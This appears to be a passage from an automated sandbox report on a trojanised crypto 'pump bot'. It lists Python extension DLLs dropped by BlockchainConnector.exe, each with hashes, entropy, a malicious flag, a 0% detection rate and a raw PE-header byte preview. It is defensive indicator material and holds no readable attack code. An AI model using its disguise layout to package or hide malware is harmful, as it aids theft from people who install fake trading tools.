                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.EY.p+..p+..p+......p+.A.*..p+.E.*..p+..p*.+p+.A....p+.A./..p+.A.(..p+...#..p+...+..p+......p+...)..p+.Rich.p+.........PE..d....Ded.........." ...".(...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text...X'.......(.................. ..`.rdata..T....@... ...,..............@..@.data...8....`.......L..............@....pdata.......p.......N..............@..@.rsrc................R..............@..@.reloc..4............T..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ocb.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):17920
                                                                                                                                                                                                                                                Entropy (8bit):5.344975505079875
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:UzPHdP3Mj7Be/yB/MsB3yRcb+IqcOYoQViCBD81g6Vf4A:UPcnB8KEsB3ocb+pcOYLMCBDx
                                                                                                                                                                                                                                                MD5:8C61F14B911B5D61D91875045E515142
                                                                                                                                                                                                                                                SHA1:D0A5A59E3C6614BF93501F8F90B36845CC27BB51
                                                                                                                                                                                                                                                SHA-256:87B882B6AF0036523AA919CB6D34F7192A5F590756D73A27D057791BF9D784D6
                                                                                                                                                                                                                                                SHA-512:473686522567DADAA867434799E2AF9ADE16BDA2405C1DA58BADA8B10A83F3090C19956DBB834FE9568C3501CAA4267D5EF5B71C461F73E0CDBFFD214E0A1BB5
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.%Y.pK..pK..pK......pK.A.J..pK.E.J..pK..pJ.(pK.A.N..pK.A.O..pK.A.H..pK...C..pK...K..pK......pK...I..pK.Rich.pK.................PE..d....Ded.........." ...".(... ......P.....................................................`..........................................I.......J..d....p.......`..................,....C...............................A..@............@...............................text....'.......(.................. ..`.rdata..8....@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ofb.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):12288
                                                                                                                                                                                                                                                Entropy (8bit):4.732524211136862
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:sF/1nb2eqCQtkgU7L9D0V70fcqgYvEJPb:m2P6L9DAAxgYvEJj
                                                                                                                                                                                                                                                MD5:619FB21DBEAF66BF7D1B61F6EB94B8C5
                                                                                                                                                                                                                                                SHA1:7DD87080B4ED0CBA070BB039D1BDEB0A07769047
                                                                                                                                                                                                                                                SHA-256:A2AFE994F8F2E847951E40485299E88718235FBEFB17FCCCA7ACE54CC6444C46
                                                                                                                                                                                                                                                SHA-512:EE3DBD00D6529FCFCD623227973EA248AC93F9095430B9DC4E3257B6DC002B614D7CE4F3DAAB3E02EF675502AFDBE28862C14E30632E3C715C434440615C4DD4
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.EY.p+..p+..p+......p+.A.*..p+.E.*..p+..p*.+p+.A....p+.A./..p+.A.(..p+...#..p+...+..p+......p+...)..p+.Rich.p+.........PE..d....Ded.........." ..."............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_BLAKE2s.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):14336
                                                                                                                                                                                                                                                Entropy (8bit):5.17157470367637
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:pF/1nb2eqCQt7fSxp/CJPvADQRntxSOvbcqgEvcM+:12PNKxZWPIDmxVlgEvL
                                                                                                                                                                                                                                                MD5:CEA18EB87E54403AF3F92F8D6DBDD6E8
                                                                                                                                                                                                                                                SHA1:F1901A397EDD9C4901801E8533C5350C7A3A8513
                                                                                                                                                                                                                                                SHA-256:7FE364ADD28266C8211457896D2517FDB0EE9EFC8CB65E716847965B3E9D789F
                                                                                                                                                                                                                                                SHA-512:74A3C94D8C4070B66258A5B847D9CED705F81673DD12316604E392C9D21AE6890E3720CA810B38E140650397C6FF05FD2FA0FF2D136FC5579570520FFDC1DBAC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.EY.p+..p+..p+......p+.A.*..p+.E.*..p+..p*.+p+.A....p+.A./..p+.A.(..p+...#..p+...+..p+......p+...)..p+.Rich.p+.........PE..d....Ded.........." ..."..... ......P.....................................................`.........................................09.......9..d....`.......P..@............p..,....3...............................2..@............0...............................text...8........................... ..`.rdata..4....0......................@..@.data...8....@......................@....pdata..@....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..,....p.......6..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_MD5.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):15360
                                                                                                                                                                                                                                                Entropy (8bit):5.463458228413267
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:UIyZ9WfqP7M93g8UdsoS1hhiBvzcuiDSjeoGmDZfRBP0rcqgjPrvE:UqA0gHdzS1MwuiDSyoGmDxr89gjPrvE
                                                                                                                                                                                                                                                MD5:9ADC256C4384EE1FE8C0AD5C5E44CD95
                                                                                                                                                                                                                                                SHA1:C5FC6E7AE0DFA5CF87833B23CD0294E9AE1F5BCA
                                                                                                                                                                                                                                                SHA-256:77EE1E140414615113EABB5FC43DBBA69DAEE5951B7E27E387CA295B0C5F651D
                                                                                                                                                                                                                                                SHA-512:4CB0905F0196B34AA66AC6FF191BD4705146A3E00DCD8B3F674740D29404C22B61F3C75B6FFB1FD5FDB044320C89A2F3EF224F1F1AA35342FF3DC5F701642B76
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.%Y.pK..pK..pK......pK.A.J..pK.E.J..pK..pJ.(pK.A.N..pK.A.O..pK.A.H..pK...C..pK...K..pK......pK...I..pK.Rich.pK.................PE..d....Ded.........." ...". ..........P.....................................................`..........................................8.......9..d....`.......P..X............p..,....3...............................1..@............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......2..............@....pdata..X....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA1.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):17920
                                                                                                                                                                                                                                                Entropy (8bit):5.681553876702266
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:UzPHdP3MjeQTh+QAZUUw8lMF6DW1tgj+kf4:EPcKQT3iw8lfDsej+
                                                                                                                                                                                                                                                MD5:5E6FEF0FF0C688DB13ED2777849E8E87
                                                                                                                                                                                                                                                SHA1:3E739107B1B5FF8F1FFAAC2EDE75B71D4EBD128F
                                                                                                                                                                                                                                                SHA-256:E88A0347F9969991756815DFF0AF940F00E966BC7875AA4763A2C80516F7E4ED
                                                                                                                                                                                                                                                SHA-512:B97D4AA0AE76F528E643180ED300F1A50EAFE8B82C27212A95CE380BCA85F9CE1FF1AC1190173D56776FD663F649817514D6501CE80518F526159398DAA6F55C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.%Y.pK..pK..pK......pK.A.J..pK.E.J..pK..pJ.(pK.A.N..pK.A.O..pK.A.H..pK...C..pK...K..pK......pK...I..pK.Rich.pK.................PE..d....Ded.........." ...".*..........P.....................................................`..........................................H.......I..d....p.......`..X...............,....C...............................A..@............@...............................text....).......*.................. ..`.rdata.......@......................@..@.data........P.......<..............@....pdata..X....`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA256.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):21504
                                                                                                                                                                                                                                                Entropy (8bit):5.90271944005012
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:U1ljwG2JaQaqvYHp5RYcARQOj4MSTjqgPm4DwxregjxojS:AjwLJbZYtswvbDwxr7jUS
                                                                                                                                                                                                                                                MD5:6ABDCD64FACE45EFB50A3F2D6D792B93
                                                                                                                                                                                                                                                SHA1:038DBD53932C4A539C69DB54707B56E4779F0EEF
                                                                                                                                                                                                                                                SHA-256:1031EA4C1FD2F673089052986629B6F554E5B34582B2F38E134FD64876D9CE0F
                                                                                                                                                                                                                                                SHA-512:6EBE3572938734D0FA9E4EC5ABDB7F63D17F28BA7E94F1FE40926BE93668D1A542FFC963F9A49C5F020720CAAD0852579FED6C9C6D0AB71B682E27245ADC916C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.%Y.pK..pK..pK......pK.A.J..pK.E.J..pK..pJ.(pK.A.N..pK.A.O..pK.A.H..pK...C..pK...K..pK......pK...I..pK.Rich.pK.................PE..d....Ded.........." ...".6... ......P.....................................................`..........................................Z.......[..d............p..................,... T...............................R..@............P...............................text...h5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..,............R..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_clmul.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):12800
                                                                                                                                                                                                                                                Entropy (8bit):5.019867964622382
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:HRF/1nb2eqCQtkbsAT2fixSrdYDtHymjcqgQvEW:Hd2P6bsK4H+D4wgQvEW
                                                                                                                                                                                                                                                MD5:64AB6E5428B213615E493D052474968F
                                                                                                                                                                                                                                                SHA1:3564F6F743A9EBC2CA9B656BB9D9F0C4D7A8DEDE
                                                                                                                                                                                                                                                SHA-256:6BE340AFF563BEE5F905C66734306729E8A241F356B4B053049AAE71A7326607
                                                                                                                                                                                                                                                SHA-512:FFE06E5D661C66D2716E99F97FDFDBF49E38750AD9E7A3D9A35DDEE12B592F327878DC9FDD002A21F9D04F7CE6FEBF945F0CB4219211B5173AA4A675FF721B74
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.&...H...H...H.......H.I.I...H.M.I...H...I.#.H.I.M...H.I.L...H.I.K...H..@...H..H...H......H..J...H.Rich..H.................PE..d....Ded.........." ..."............P.....................................................`..........................................8......89..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......(..............@....pdata.......P.......*..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_portable.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):13312
                                                                                                                                                                                                                                                Entropy (8bit):5.015378888018285
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:IF/1nb2eqCQtks0iiNqdF4mtPjD0wA5LPYcqgYvEL2x:i2P6fFA/4GjD4cgYvEL2x
                                                                                                                                                                                                                                                MD5:287B0A3E9E9E239AFB9DFDCC091FF9D1
                                                                                                                                                                                                                                                SHA1:3358321AB2D11D40DE5935CF037AC8F5B6D36743
                                                                                                                                                                                                                                                SHA-256:A66196465C839EC6EB287615942D40F0088DFEB67EE88DDBCE3ED955829AE865
                                                                                                                                                                                                                                                SHA-512:FE1CBEC71296B1E880CFB3F2D17BF3325FCFBCAC070FDCD7EE765086AC31C563E75BEB8C6E1051192DDAE91DE34B83CC4CBF38757FB9789D8E015889D5494E48
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.EY.p+..p+..p+......p+.A.*..p+.E.*..p+..p*.+p+.A....p+.A./..p+.A.(..p+...#..p+...+..p+......p+...)..p+.Rich.p+.........PE..d....Ded.........." ..."............P.....................................................`..........................................8......h9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..X....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Protocol\_scrypt.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):12288
                                                                                                                                                                                                                                                Entropy (8bit):4.795317235666895
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:kJkCffqPSTMeAk4OeR64ADp5i6RcqgO5vE:kXZMcPeR64ADu63gO5vE
                                                                                                                                                                                                                                                MD5:ACD58F05EF429D4D85163B98B26A2307
                                                                                                                                                                                                                                                SHA1:CCDF4A294B2E05B5E16784BAE562BFDB474308A0
                                                                                                                                                                                                                                                SHA-256:BB2BE221531D66EC5E6EF026F5548749430A785FD1FA1C1BECB12375C0CA6D1D
                                                                                                                                                                                                                                                SHA-512:4CC272B161A7EA35E45274D2FB1358104F9BED5A7B460F1DC094C48AD834D94D779E73362C4E4CA3F3B7FEAE4DA9812B5CD5F5EDF7683668043A7C62B853A0D8
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B................;.....I.......M...........!...I.......I.......I......................W............Rich....................PE..d....Ded.........." ..."............P.....................................................`..........................................8..d...$9..d....`.......P..4............p..,....3...............................1..@............0...............................text...x........................... ..`.rdata.......0......................@..@.data........@.......&..............@....pdata..4....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_cpuid_c.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):10240
                                                                                                                                                                                                                                                Entropy (8bit):4.7372077697895945
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:zWVddiTHThQTctEEaEDKDvMRWJcqgbW6:SMdsc+EaEDKDvCWvgbW
                                                                                                                                                                                                                                                MD5:1831CB26FD8EE2B0AB0496F80272FC04
                                                                                                                                                                                                                                                SHA1:BC8E78CC005859F7272C3615A3774BA7D687F0F4
                                                                                                                                                                                                                                                SHA-256:D830D77669527129BF3D10929AAD1CC9EE5E44A9594E3FC651D3B5BC01C42C44
                                                                                                                                                                                                                                                SHA-512:DF51D636A277C8AD83C90AE99A824F77C441DA5C7B08A11C3D8752CD3661096EBF327008951CA97B4BAF9632B2CA16DF34A9F3E43BF837C8556BCB3C304BB2CC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6)..WG.WG.WG./..WG..+F.WG../F.WG.WF.WG..+B.WG..+C.WG..+D.WG.R+O.WG.R+G.WG.R+..WG.R+E.WG.Rich.WG.........PE..d....Ded.........." ..."............P........................................p............`..........................................'..|....'..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_strxor.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):10240
                                                                                                                                                                                                                                                Entropy (8bit):4.693475725745118
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:96:zuZVVdJvbrqTuy/Th/Y0IluLfcC75JiCKs89EMz3DVWMot4BcX6gbW6O:zUVddiTHThQTctEEO3DloKcqgbW6
                                                                                                                                                                                                                                                MD5:3AF448B8A7EF86D459D86F88A983EAEC
                                                                                                                                                                                                                                                SHA1:D852BE273FEA71D955EA6B6ED7E73FC192FB5491
                                                                                                                                                                                                                                                SHA-256:BF3A209EDA07338762B8B58C74965E75F1F0C03D3F389B0103CC2BF13ACFE69A
                                                                                                                                                                                                                                                SHA-512:BE8C0A9B1F14D73E1ADF50368293EFF04AD34BDA71DBF0B776FFD45B6BA58A2FA66089BB23728A5077AB630E68BF4D08AF2712C1D3FB7D79733EB06F2D0F6DBF
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6)..WG.WG.WG./..WG..+F.WG../F.WG.WF.WG..+B.WG..+C.WG..+D.WG.R+O.WG.R+G.WG.R+..WG.R+E.WG.Rich.WG.........PE..d....Ded.........." ..."............P........................................p............`.........................................`'..t....'..P....P.......@...............`..,...."...............................!..@............ ...............................text...x........................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imaging.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2391552
                                                                                                                                                                                                                                                Entropy (8bit):6.459352782738398
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:R+QkpQIofdK7kmrpCQkU8UpjNuLrLrLrLu2fFFt:GKK7k+K
                                                                                                                                                                                                                                                MD5:C7C53CDE4D02ACE0BF9D777103160BD9
                                                                                                                                                                                                                                                SHA1:3E83388416A2D929E501F833F799D740B2C4963F
                                                                                                                                                                                                                                                SHA-256:F8BCBC54B58E2A224E67DF52C210B698CC3A7C49F8E63E58D3D253BCAF4BEFEE
                                                                                                                                                                                                                                                SHA-512:FED73A9C9A395E0C15F3179D24799F11213DFC8FF58249FEED30515244B3C099F5BB8E8220485740382122929B627959FB1DAC2911F9E0C2B8C1087E073E7828
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........V...8...8...8.......8.$.9...8.$....8.$.=...8.$.<...8.$.;...8._.9...8..9...8...9...8.B.<.m.8...8...8.B.0...8.B.8...8.B....8.B.:...8.Rich..8.................PE..d....).d.........." ...#.@...l......,.........................................$...........`......................................... .#.`.....#.......$.......#...............$.x...@.!.......................!.(.....!.@............P...............................text...H>.......@.................. ..`.rdata.......P.......D..............@..@.data...h.... #..^....#.............@....pdata........#......r#.............@..@.rsrc.........$......f$.............@..@.reloc..x.....$......h$.............@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imagingcms.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):256512
                                                                                                                                                                                                                                                Entropy (8bit):6.274165341047041
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:GWPDrbQBTAcY355skl/RI7OMhkAXLg9uP1+74/LgHmPr9qvZqhLanLTLzLfqeqw6:GWbrboTJcihhkAXLg9uP1+74/LgHmPry
                                                                                                                                                                                                                                                MD5:9C644FCDD0CBD1082C3AAD18F1F6E148
                                                                                                                                                                                                                                                SHA1:6707F841D3C678C66903BA18746113BC40DD97A9
                                                                                                                                                                                                                                                SHA-256:5D2A24D817C0AADB8CEC4E5A3175707986BD53BCB5339EC319BC0142CBBBFE5B
                                                                                                                                                                                                                                                SHA-512:F430121D52DFB13089ED6ABF40138C9E251BB2EFAE9CB1F368D647647D3AE6EDD83E8604099DB52A54278B0AB7B6B103622D3D171EF0C272E8BDA95C66CBC69F
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Se.<...o...o...o.|8o...o.x.n...o.x.n...o.x.n...o.x.n...o.q.n...o\|.n...o...oy..o.y.n...o.y.n...o.yTo...o.y.n...oRich...o........................PE..d...h).d.........." ...#..... ......,........................................ ............`..........................................y..h....y..................t....................?..............................`>..@...............p............................text............................... ..`.rdata..n...........................@..@.data....>.......8...z..............@....pdata..t........0..................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imagingft.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1717248
                                                                                                                                                                                                                                                Entropy (8bit):6.767070135540314
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:C4hCESnLroNJ+SKIP9H85yy8zm4nrH4k3wJjUakWurUoMd/UZ1ZhAdQXlOl4pImZ:CeC1LMnf9H5y8q4zAhkZrUoxXlO4pIR
                                                                                                                                                                                                                                                MD5:4FD79F7BD1642638C547A240854D8848
                                                                                                                                                                                                                                                SHA1:AD0DE52E06772CC568F7382ADCEF9FD50866BE8A
                                                                                                                                                                                                                                                SHA-256:F0845A8C00C6ECE2F58B1088FC09F3AF0E6A1EA783B4922497C8675212685F23
                                                                                                                                                                                                                                                SHA-512:EB0BD0102E596BED42CF32D94CBE1BFF11BE9919E876A1A611E250C211843BB226F36059318190AF56FD9962D33EB22CC3AA52C5FABDBC102B717C8E674920A8
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........8.d.Y.7.Y.7.Y.7.!{7.Y.7.%.6.Y.7.!.6.Y.7.%.7.Y.7.%.6.Y.7.%.6.Y.7.%.6.Y.7{,.6.Y.7.Y.7*Y.7f$.6.Y.7f$.6.Y.7f$.6.Y.7f$.6.Y.7f$.7.Y.7f$.6.Y.7Rich.Y.7................PE..d...d).d.........." ...#.....T......`.....................................................`..........................................5..d...t5.......`.......p...............p..........................................@...............H............................text...H........................... ..`.rdata...D.......F..................@..@.data........P......................@....pdata.......p.......D..............@..@_RDATA..0....P......."..............@..@.rsrc........`.......$..............@..@.reloc.......p.......&..............@..B........................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_webp.pyd

                                                                                                                                                                                                                                                Download File
